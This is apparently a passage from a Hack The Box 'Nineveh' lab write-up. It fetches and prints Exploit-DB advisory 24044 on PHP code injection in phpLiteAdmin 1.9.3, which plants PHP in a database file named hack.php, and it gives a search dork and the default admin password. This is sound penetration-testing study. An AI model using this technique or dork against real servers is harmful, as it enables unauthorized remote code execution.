PHP Code Injection


┌──(kali㉿kali)-[~/archive/htb/labs/nineveh]
└─$ searchsploit -m php/webapps/24044.txt ; mv 24044.txt PHPLiteAdmin-1.9-injection.txt
  exploit: PHPLiteAdmin 1.9.3 - Remote PHP Code Injection
      url: https://www.exploit-db.com/exploits/24044
     path: /usr/share/exploitdb/exploits/php/webapps/24044.txt
    codes: OSVDB-89126
 verified: True
file type: ASCII text
copied to: /home/kali/archive/htb/labs/nineveh/24044.txt

I copied the document to the working directory and re-named it appropriately.

┌──(kali㉿kali)-[~/archive/htb/labs/nineveh]
└─$ cat PHPLiteAdmin-1.9-injection.txt 
# exploit title: phpliteadmin <= 1.9.3 Remote PHP Code Injection Vulnerability
# google dork: inurl:phpliteadmin.php (Default PW: admin)
# date: 01/10/2013
# exploit author: L@usch - http://la.usch.io - http://la.usch.io/files/exploits/phpliteadmin-1.9.3.txt
# vendor homepage: http://code.google.com/p/phpliteadmin/
# vendor status: Informed
# software link: http://phpliteadmin.googlecode.com/files/phpliteadmin_v1-9-3.zip
# version: 1.9.3
# tested on: Windows and Linux
 
description:
 
phpliteadmin.php#1784: 'Creating a New Database' =>
phpliteadmin.php#1785: 'When you create a new database, the name you entered will be appended with the appropriate file extension (.db, .db3, .sqlite, etc.) if you do not include it yourself. The database will be created in the directory you specified as the $directory variable.',
 
An Attacker can create a sqlite Database with a php extension and insert PHP Code as text fields. When done the Attacker can execute it simply by access the database file with the Webbrowser.
 
proof of concept:
 
1. We create a db named "hack.php".
(Depending on Server configuration sometimes it will not work and the name for the db will be "hack.sqlite". Then simply try to rename the database / existing database to "hack.php".)
The script will store the sqlite database in the same directory as phpliteadmin.php.
preview: http://goo.gl/B5n9O
hex preview: http://goo.gl/lJ5iQ
 
2. now create a new table in this database and insert a text field with the default value:
<?php phpinfo()?>
hex preview: http://goo.gl/v7USQ
 
3. Now we run hack.php
 
Done!
 
proof: http://goo.gl/ZqPVL

The target application is vulnerable to this PoC as it is running the version 1.9